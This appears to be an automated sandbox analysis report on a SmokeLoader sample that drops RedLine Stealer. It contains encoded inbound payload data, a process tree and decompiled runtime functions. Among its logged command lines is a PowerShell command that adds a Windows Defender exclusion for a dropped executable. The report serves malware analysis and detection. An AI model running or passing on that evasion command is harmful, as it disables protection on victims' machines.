2021-11-09 21:22:01 UTC	1664	IN	Data Raw: 00 53 00 30 00 4a 00 44 00 55 00 6c 00 56 00 54 00 5a 00 30 00 74 00 56 00 51 00 6b 00 56 00 76 00 53 00 54 00 46 00 45 00 65 00 46 00 56 00 54 00 5a 00 30 00 70 00 72 00 51 00 6b 00 5a 00 53 00 53 00 30 00 46 00 75 00 55 00 55 00 31 00 54 00 5a 00 30 00 74 00 46 00 59 00 30 00 68 00 42 00 62 00 31 00 5a 00 46 00 62 00 30 00 4e 00 6b 00 51 00 58 00 68 00 4c 00 51 00 57 00 39 00 53 00 64 00 32 00 4e 00 44 00 51 00 30 00 46 00 44 00 52 00 58 00 64 00 4a 00 56 00 45 00 46 00 43 00 54 00 55 00 4a 00 44 00 61 00 46 00 56 00 54 00 5a 00 30 00 6f 00 77 00 52 00 45 00 56 00 76 00 51 00 32 00 68 00 49 00 51 00 54 00 52 00 47 00 51 00 55 00 46 00 42 00 55 00 32 00 64 00 71 00 4d 00 46 00 70 00 43 00 64 00 31 00 56 00 57 00 52 00 57 00 6b 00 77 00 51 00 6b 00 56 00 Data Ascii: S0JDUlVTZ0tVQkVvSTFEeFVTZ0prQkZSS0FuUU1TZ0tFY0hBb1ZFb0NkQXhLQW9Sd2NDQ0FDRXdJVEFCTUJDaFVTZ0owREVvQ2hIQTRGQUFBU2dqMFpCd1VWRWkwQkV
2021-11-09 21:22:01 UTC	1680	IN	Data Raw: 00 64 00 30 00 5a 00 4a 00 51 00 55 00 56 00 4b 00 52 00 57 00 35 00 46 00 55 00 45 00 6c 00 42 00 5a 00 31 00 4e 00 6a 00 55 00 6d 00 64 00 50 00 53 00 46 00 46 00 56 00 53 00 55 00 56 00 42 00 5a 00 30 00 70 00 46 00 62 00 6c 00 56 00 6a 00 51 00 6e 00 6c 00 42 00 51 00 30 00 4e 00 53 00 51 00 55 00 6c 00 46 00 62 00 6b 00 56 00 4f 00 53 00 55 00 46 00 6a 00 55 00 32 00 4e 00 53 00 5a 00 30 00 39 00 49 00 55 00 56 00 56 00 4a 00 51 00 30 00 4a 00 4b 00 4d 00 55 00 68 00 43 00 53 00 57 00 64 00 44 00 65 00 45 00 70 00 34 00 52 00 30 00 4a 00 6e 00 54 00 30 00 56 00 43 00 5a 00 31 00 6c 00 44 00 51 00 6a 00 42 00 47 00 51 00 30 00 46 00 72 00 55 00 32 00 52 00 53 00 64 00 30 00 6c 00 4a 00 51 00 55 00 31 00 54 00 59 00 31 00 4a 00 6e 00 55 00 32 00 52 00 Data Ascii: d0ZJQUVKRW5FUElBZ1NjUmdPSFFVSUVBZ0pFblVjQnlBQ0NSQUlFbkVOSUFjU2NSZ09IUVVJQ0JKMUhCSWdDeEp4R0JnT0VCZ1lDQjBGQ0FrU2RSd0lJQU1TY1JnU2R
2021-11-09 21:22:01 UTC	1696	IN	Data Raw: 00 5a 00 30 00 46 00 61 00 55 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 6b 00 39 00 42 00 52 00 7a 00 68 00 42 00 55 00 6b 00 46 00 43 00 62 00 45 00 46 00 48 00 57 00 55 00 46 00 6a 00 5a 00 30 00 4a 00 72 00 51 00 55 00 56 00 52 00 51 00 56 00 70 00 52 00 51 00 6d 00 31 00 42 00 52 00 6c 00 6c 00 42 00 56 00 55 00 46 00 43 00 54 00 30 00 46 00 46 00 55 00 55 00 46 00 61 00 55 00 55 00 4a 00 74 00 51 00 55 00 68 00 6a 00 51 00 56 00 6c 00 52 00 51 00 6d 00 68 00 42 00 53 00 45 00 31 00 42 00 57 00 6d 00 64 00 43 00 63 00 30 00 46 00 48 00 64 00 30 00 46 00 61 00 55 00 55 00 49 00 77 00 51 00 55 00 64 00 46 00 51 00 57 00 4e 00 33 00 51 00 6d 00 31 00 42 00 53 00 46 00 6c 00 42 00 54 00 56 00 46 00 42 00 65 00 45 00 46 00 Data Ascii: Z0FaUUFBQUFBQUFBQk9BRzhBUkFCbEFHWUFjZ0JrQUVRQVpRQm1BRllBVUFCT0FFUUFaUUJtQUhjQVlRQmhBSE1BWmdCc0FHd0FaUUIwQUdFQWN3Qm1BSFlBTVFBeEF
2021-11-09 21:22:01 UTC	1712	IN	Data Raw: 00 54 00 55 00 46 00 6b 00 51 00 55 00 4a 00 35 00 51 00 55 00 64 00 72 00 51 00 57 00 4a 00 6e 00 51 00 6d 00 35 00 42 00 52 00 56 00 6c 00 42 00 59 00 56 00 46 00 43 00 63 00 30 00 46 00 48 00 56 00 55 00 46 00 54 00 55 00 55 00 4a 00 31 00 51 00 55 00 64 00 5a 00 51 00 57 00 4a 00 33 00 51 00 55 00 46 00 42 00 53 00 57 00 64 00 43 00 51 00 55 00 46 00 42 00 51 00 6b 00 46 00 45 00 51 00 55 00 46 00 4e 00 51 00 55 00 46 00 33 00 51 00 55 00 52 00 42 00 51 00 55 00 31 00 42 00 51 00 54 00 42 00 42 00 52 00 30 00 6c 00 42 00 54 00 55 00 46 00 42 00 51 00 55 00 46 00 44 00 64 00 30 00 46 00 42 00 5a 00 30 00 46 00 43 00 51 00 55 00 56 00 5a 00 51 00 57 00 46 00 52 00 51 00 6e 00 4e 00 42 00 52 00 31 00 56 00 42 00 55 00 6b 00 46 00 43 00 62 00 45 00 46 00 Data Ascii: TUFkQUJ5QUdrQWJnQm5BRVlBYVFCc0FHVUFTUUJ1QUdZQWJ3QUFBSWdCQUFBQkFEQUFNQUF3QURBQU1BQTBBR0lBTUFBQUFDd0FBZ0FCQUVZQWFRQnNBR1VBUkFCbEF
2021-11-09 21:22:01 UTC	1728	IN	Data Raw: 00 52 00 47 00 68 00 7a 00 5a 00 6d 00 4e 00 36 00 4d 00 31 00 4a 00 79 00 61 00 32 00 74 00 32 00 55 00 31 00 64 00 32 00 4f 00 46 00 46 00 33 00 57 00 54 00 52 00 68 00 63 00 7a 00 46 00 79 00 61 00 48 00 46 00 4c 00 57 00 47 00 4a 00 6f 00 61 00 47 00 35 00 48 00 4e 00 31 00 42 00 48 00 5a 00 55 00 68 00 69 00 65 00 6b 00 39 00 4f 00 62 00 33 00 56 00 78 00 52 00 54 00 68 00 54 00 51 00 30 00 68 00 36 00 55 00 33 00 42 00 4e 00 54 00 54 00 51 00 30 00 59 00 6a 00 42 00 35 00 53 00 33 00 56 00 4b 00 62 00 55 00 77 00 72 00 62 00 6d 00 52 00 50 00 52 00 48 00 42 00 4a 00 64 00 45 00 5a 00 71 00 61 00 6b 00 70 00 49 00 64 00 46 00 4a 00 78 00 62 00 45 00 74 00 35 00 52 00 46 00 67 00 78 00 55 00 44 00 64 00 35 00 62 00 58 00 46 00 72 00 62 00 6b 00 70 00 Data Ascii: RGhzZmN6M1Jya2t2U1d2OFF3WTRhczFyaHFLWGJoaG5HN1BHZUhiek9Ob3VxRThTQ0h6U3BNTTQ0YjB5S3VKbUwrbmRPRHBJdEZqakpIdFJxbEt5RFgxUDd5bXFrbkp

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: y4oMrtO1Mt.exe PID: 7100 Parent PID: 5380

General

Start time:	22:20:05
Start date:	09/11/2021
Path:	C:\Users\user\Desktop\y4oMrtO1Mt.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\y4oMrtO1Mt.exe"
Imagebase:	0x400000
File size:	292864 bytes
MD5 hash:	DB2EF30E8F821C8F00456941F5944849
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: y4oMrtO1Mt.exe PID: 7140 Parent PID: 7100

General

Start time:	22:20:09
Start date:	09/11/2021
Path:	C:\Users\user\Desktop\y4oMrtO1Mt.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\y4oMrtO1Mt.exe"
Imagebase:	0x400000
File size:	292864 bytes
MD5 hash:	DB2EF30E8F821C8F00456941F5944849
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000001.00000002.725665133.00000000004A0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000001.00000002.725720765.0000000000511000.00000004.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3424 Parent PID: 7140

General

Start time:	22:20:16
Start date:	09/11/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff6fee60000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000005.00000000.713707724.00000000044C1000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: hrgjvbv PID: 1572 Parent PID: 968

General

Start time:	22:20:49
Start date:	09/11/2021
Path:	C:\Users\user\AppData\Roaming\hrgjvbv
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\hrgjvbv
Imagebase:	0x400000
File size:	292864 bytes
MD5 hash:	DB2EF30E8F821C8F00456941F5944849
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: hrgjvbv PID: 6780 Parent PID: 1572

General

Start time:	22:20:53
Start date:	09/11/2021
Path:	C:\Users\user\AppData\Roaming\hrgjvbv
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\hrgjvbv
Imagebase:	0x7ff6eb840000
File size:	292864 bytes
MD5 hash:	DB2EF30E8F821C8F00456941F5944849
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000B.00000002.783710135.0000000002431000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000B.00000002.783461407.00000000005C0000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: F72D.exe PID: 6960 Parent PID: 3424

General

Start time:	22:20:53
Start date:	09/11/2021
Path:	C:\Users\user\AppData\Local\Temp\F72D.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\F72D.exe
Imagebase:	0x400000
File size:	292864 bytes
MD5 hash:	DB2EF30E8F821C8F00456941F5944849
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: F72D.exe PID: 5008 Parent PID: 6960

General

Start time:	22:20:59
Start date:	09/11/2021
Path:	C:\Users\user\AppData\Local\Temp\F72D.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\F72D.exe
Imagebase:	0x400000
File size:	292864 bytes
MD5 hash:	DB2EF30E8F821C8F00456941F5944849
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000D.00000002.797092954.00000000006E1000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000D.00000002.797009453.0000000000530000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: 59B4.exe PID: 5212 Parent PID: 3424

General

Start time:	22:21:18
Start date:	09/11/2021
Path:	C:\Users\user\AppData\Local\Temp\59B4.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\59B4.exe
Imagebase:	0x40000
File size:	2758360 bytes
MD5 hash:	510129781D403976345AFEA3BDB4E426
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low

Chronological Activities

Analysis Process: 8039.exe PID: 5408 Parent PID: 3424

General

Start time:	22:21:28
Start date:	09/11/2021
Path:	C:\Users\user\AppData\Local\Temp\8039.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\8039.exe
Imagebase:	0xb30000
File size:	294912 bytes
MD5 hash:	EF9CFB2DDC4AF2089DF63A761ECC7833
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000014.00000002.860279815.00000000046F9000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000014.00000003.846233118.000000000115D000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: 8039.exe PID: 6032 Parent PID: 5408

General

Start time:	22:21:30
Start date:	09/11/2021
Path:	C:\Users\user\AppData\Local\Temp\8039.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\8039.exe
Imagebase:	0x610000
File size:	294912 bytes
MD5 hash:	EF9CFB2DDC4AF2089DF63A761ECC7833
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000016.00000000.851440177.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000016.00000002.941479001.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000016.00000000.850675155.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000016.00000000.857126513.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000002.953920982.0000000002B80000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000016.00000000.853234726.0000000000402000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: 9D57.exe PID: 6244 Parent PID: 3424

General

Start time:	22:21:35
Start date:	09/11/2021
Path:	C:\Users\user\AppData\Local\Temp\9D57.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\9D57.exe
Imagebase:	0x400000
File size:	233472 bytes
MD5 hash:	08CB82859479B33DC1D0738B985DB28C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000017.00000002.879242303.00000000020A1000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000017.00000002.878602271.00000000005E0000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: B8B0.exe PID: 6784 Parent PID: 3424

General

Start time:	22:21:43
Start date:	09/11/2021
Path:	C:\Users\user\AppData\Local\Temp\B8B0.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\B8B0.exe
Imagebase:	0xce0000
File size:	161280 bytes
MD5 hash:	9FA070AF1ED2E1F07ED8C9F6EB2BDD29
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	moderate

Chronological Activities

Analysis Process: 610B.exe PID: 4936 Parent PID: 3424

General

Start time:	22:21:53
Start date:	09/11/2021
Path:	C:\Users\user\AppData\Local\Temp\610B.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\610B.exe
Imagebase:	0x400000
File size:	365568 bytes
MD5 hash:	7BD70FFC35AB8B39FDE9BD5FAEC876DB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: 610B.exe PID: 6984 Parent PID: 4936

General

Start time:	22:21:58
Start date:	09/11/2021
Path:	C:\Users\user\AppData\Local\Temp\610B.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\610B.exe
Imagebase:	0x400000
File size:	365568 bytes
MD5 hash:	7BD70FFC35AB8B39FDE9BD5FAEC876DB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001B.00000002.954434043.00000000036B5000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001B.00000002.946993376.0000000002180000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001B.00000003.917443337.0000000000720000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001B.00000002.950530750.0000000002600000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001B.00000002.946243879.0000000002050000.00000004.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: AdvancedRun.exe PID: 3544 Parent PID: 6784

General

Start time:	22:21:58
Start date:	09/11/2021
Path:	C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe" /EXEFilename "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
Imagebase:	0x400000
File size:	91000 bytes
MD5 hash:	17FC12902F4769AF3A9271EB4E2DACCE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, Metadefender, Browse Detection: 0%, ReversingLabs
Reputation:	moderate

Chronological Activities

Analysis Process: 82DC.exe PID: 4904 Parent PID: 3424

General

Start time:	22:22:01
Start date:	09/11/2021
Path:	C:\Users\user\AppData\Local\Temp\82DC.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\82DC.exe
Imagebase:	0x9d0000
File size:	399872 bytes
MD5 hash:	0F289285CADCF1E656016A19789B5637
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: SUSP_Double_Base64_Encoded_Executable, Description: Detects an executable that has been encoded with base64 twice, Source: 0000001D.00000002.945154520.0000000003D11000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001D.00000002.948562304.0000000003EEF000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: AdvancedRun.exe PID: 6560 Parent PID: 3544

General

Start time:	22:22:02
Start date:	09/11/2021
Path:	C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe" /SpecialRun 4101d8 3544
Imagebase:	0x400000
File size:	91000 bytes
MD5 hash:	17FC12902F4769AF3A9271EB4E2DACCE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: conhost.exe PID: 4500 Parent PID: 4904

General

Start time:	22:22:02
Start date:	09/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: argjvbv PID: 4856 Parent PID: 968

General

Start time:	22:22:06
Start date:	09/11/2021
Path:	C:\Users\user\AppData\Roaming\argjvbv
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\argjvbv
Imagebase:	0x400000
File size:	233472 bytes
MD5 hash:	08CB82859479B33DC1D0738B985DB28C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: powershell.exe PID: 3840 Parent PID: 6784

General

Start time:	22:22:09
Start date:	09/11/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force
Imagebase:	0xdd0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 2912 Parent PID: 3840

General

Start time:	22:22:10
Start date:	09/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: y4oMrtO1Mt.exe PID: 7100 Parent PID: 5380 y4oMrtO1Mt.exeCOMMON

Executed Functions

Function 0041E830, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000,?,0041BAFB,?,?,0041E9A0), ref: 0041E837

Memory Dump Source

Source File: 00000000.00000002.675725624.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.675721721.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.675749689.0000000000433000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.675978163.0000000002B2A000.00000002.00020000.sdmp Download File

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: e714317df7d0a122bb4fc723034d52f595c7f7c22c5f285c0909eabe80911e1e
Instruction ID: 5024a62af21245e7500ab3b5226a9656ab0bcc752933777f4dece48bd96e34b5
Opcode Fuzzy Hash: e714317df7d0a122bb4fc723034d52f595c7f7c22c5f285c0909eabe80911e1e
Instruction Fuzzy Hash: 6AA01132088208A3C2002282A80AB823A8CC3C8B32F000020F20C0A0A00AA2A82080AA

Uniqueness

Uniqueness Score: -1.00%

Function 00418260, Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_() {
				void* _t3;

				E0041B4E0(); // executed
				return L00418280(_t3);
			}

0x00418265
0x00418270

APIs

___security_init_cookie.LIBCMTD ref: 00418265

Memory Dump Source

Source File: 00000000.00000002.675725624.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.675721721.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.675749689.0000000000433000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.675978163.0000000002B2A000.00000002.00020000.sdmp Download File

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 72736f100cb3ef472e761fa4ea8add58e6fe8d0de14fdb277d94940224b94a77
Instruction ID: 1a81203c3f5ffc4a1b993d19f8dbb4df30b77152add7a6b3c6fdef9e3a5b5290
Opcode Fuzzy Hash: 72736f100cb3ef472e761fa4ea8add58e6fe8d0de14fdb277d94940224b94a77
Instruction Fuzzy Hash: A2A00231144A4C1605A133A7090798A758D89C575C79A405EB528022031D7CA88140EE

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0041FF10, Relevance: 7.6, APIs: 5, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0041FF10(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				long _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t34;

				_t25 = __esi;
				_t24 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t34 = _t20 -  *0x433404; // 0x7623a795
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x4349a8 = _t6;
				 *0x4349a4 = _t20;
				 *0x4349a0 = _t22;
				 *0x43499c = _t19;
				 *0x434998 = _t25;
				 *0x434994 = _t24;
				 *0x4349c0 = ss;
				 *0x4349b4 = cs;
				 *0x434990 = ds;
				 *0x43498c = es;
				 *0x434988 = fs;
				 *0x434984 = gs;
				asm("pushfd");
				_pop( *0x4349b8);
				 *0x4349ac =  *_t29;
				 *0x4349b0 = _v0;
				 *0x4349bc =  &_a4;
				 *0x4348f8 = 0x10001;
				_t11 =  *0x4349b0; // 0x0
				 *0x4348ac = _t11;
				 *0x4348a0 = 0xc0000409;
				 *0x4348a4 = 1;
				_t21 =  *0x433404; // 0x7623a795
				_v812 = _t21;
				_t23 =  *0x433408; // 0x89dc586a
				_v808 = _t23;
				 *0x4348f0 = IsDebuggerPresent();
				_push(1);
				E00421380(_t12);
				SetUnhandledExceptionFilter(0);
				_t15 = UnhandledExceptionFilter(0x4061d4);
				if( *0x4348f0 == 0) {
					_push(1);
					E00421380(_t15);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0041ff10
0x0041ff10
0x0041ff10
0x0041ff10
0x0041ff10
0x0041ff10
0x0041ff10
0x0041ff16
0x0041ff18
0x0041ff18
0x00427d3b
0x00427d40
0x00427d46
0x00427d4c
0x00427d52
0x00427d58
0x00427d5e
0x00427d65
0x00427d6c
0x00427d73
0x00427d7a
0x00427d81
0x00427d88
0x00427d89
0x00427d92
0x00427d9a
0x00427da2
0x00427dad
0x00427db7
0x00427dbc
0x00427dc1
0x00427dcb
0x00427dd5
0x00427ddb
0x00427de1
0x00427de7
0x00427df3
0x00427df8
0x00427dfa
0x00427e04
0x00427e0f
0x00427e1c
0x00427e1e
0x00427e20
0x00427e25
0x00427e3d

APIs

IsDebuggerPresent.KERNEL32 ref: 00427DED
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00427E04
UnhandledExceptionFilter.KERNEL32(004061D4), ref: 00427E0F
GetCurrentProcess.KERNEL32(C0000409), ref: 00427E2D
TerminateProcess.KERNEL32(00000000), ref: 00427E34

Memory Dump Source

Source File: 00000000.00000002.675725624.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.675721721.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.675749689.0000000000433000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.675978163.0000000002B2A000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: a2400816f11e5b4fe1a056caa2ed7dba77701c8b1e0d77a4119c072d594aa5e5
Instruction ID: 8f145d9bcf5e2f03895f5a190a5043552a3bd3379556b001479ae76a5a6f2a74
Opcode Fuzzy Hash: a2400816f11e5b4fe1a056caa2ed7dba77701c8b1e0d77a4119c072d594aa5e5
Instruction Fuzzy Hash: 98210FB8906200DFC304EF68F945796BBE4BF98325F41217AE90897371E37069818F5E

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: y4oMrtO1Mt.exe PID: 7140 Parent PID: 7100 y4oMrtO1Mt.exeCOMMON

Executed Functions

Function 00401812, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401812(void* __edx) {
				void* _t4;

				 *((intOrPtr*)(_t4 - 0x77)) =  *((intOrPtr*)(_t4 - 0x77)) + __edx;
			}

0x00401812

APIs

Sleep.KERNELBASE(00001388), ref: 00401854
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040187C

Memory Dump Source

Source File: 00000001.00000002.725610968.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: a9242262985629b7ba65b23d5e149a247a5822ccc711938d973886dc562d5c51
Instruction ID: 66c4bf53945efb9eac17a29b63d6e60a7dc9cc17017cfcbb6067bf93f0ee6b10
Opcode Fuzzy Hash: a9242262985629b7ba65b23d5e149a247a5822ccc711938d973886dc562d5c51
Instruction Fuzzy Hash: EC011277548205EBEB007AA59C41AAA37289B05754F34C537FA12B80F1D67D8713A71F

Uniqueness

Uniqueness Score: -1.00%

